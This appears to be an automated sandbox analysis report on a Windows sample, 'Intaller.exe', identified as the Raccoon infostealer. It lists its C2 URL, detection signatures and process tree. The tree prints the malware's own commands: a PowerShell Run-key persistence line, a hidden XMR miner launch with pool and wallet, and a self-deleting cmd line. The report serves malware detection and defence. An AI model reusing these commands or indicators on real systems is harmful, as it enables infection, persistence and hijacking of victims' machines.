Analysis
- max time kernel
151s - max time network
147s - platform
windows10_x64 - resource
win10-en - submitted
11/09/2021, 10:37
General
- Target Intaller.exe
- Size 567KB
- Sample210911-mntbjaeddj
- SHA256 04157eb6cdd54ef10f305bb2feb43eafa0c0335dea91afd4c153101737fa3dde
Malware Config
Extracted
-
raccoon
-
fd34ae8fb78d0554aa7caf12c271e01efb3342f6
-
url4cnc
https://telete.in/jinnlitena1
Signatures
- Raccoon
Simple but powerful infostealer which was very active in 2019.
- suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Loads dropped DLL 5 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 4 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Intaller.exe"C:\Users\Admin\AppData\Local\Temp\Intaller.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\AKYIXGgHQS.exe"C:\Users\Admin\AppData\Local\Temp\AKYIXGgHQS.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService' -Value '"C:\Users\Admin\AppData\Roaming\WinServices\DriversService.exe"' -PropertyType 'String'3⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x3⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Intaller.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
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C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/420-130-0x0000027FE8140000-0x0000027FE8141000-memory.dmp
memory/420-141-0x0000027FE8200000-0x0000027FE820A000-memory.dmp
memory/420-126-0x0000027FE7740000-0x0000027FE7741000-memory.dmp
memory/420-138-0x0000027FEA480000-0x0000027FEAB35000-memory.dmp
memory/420-129-0x0000027FEA470000-0x0000027FEA472000-memory.dmp
memory/3036-144-0x0000018DCC763000-0x0000018DCC765000-memory.dmp
memory/3036-153-0x0000018DCC768000-0x0000018DCC769000-memory.dmp
memory/3036-137-0x0000018DB4260000-0x0000018DB4261000-memory.dmp
memory/3036-152-0x0000018DCC766000-0x0000018DCC768000-memory.dmp
memory/3036-143-0x0000018DCC760000-0x0000018DCC762000-memory.dmp
memory/3036-142-0x0000018DCD180000-0x0000018DCD181000-memory.dmp
memory/3220-116-0x0000000000400000-0x0000000002B9A000-memory.dmp
memory/3220-115-0x0000000002CE0000-0x0000000002E2A000-memory.dmp
memory/3956-154-0x0000000000400000-0x0000000000E14000-memory.dmp
memory/3956-156-0x000001F6E2FF0000-0x000001F6E3010000-memory.dmp
memory/3956-157-0x0000000000400000-0x0000000000E14000-memory.dmp
memory/3956-158-0x000001F6E4740000-0x000001F6E4760000-memory.dmp
memory/3956-159-0x000001F6E4760000-0x000001F6E4780000-memory.dmp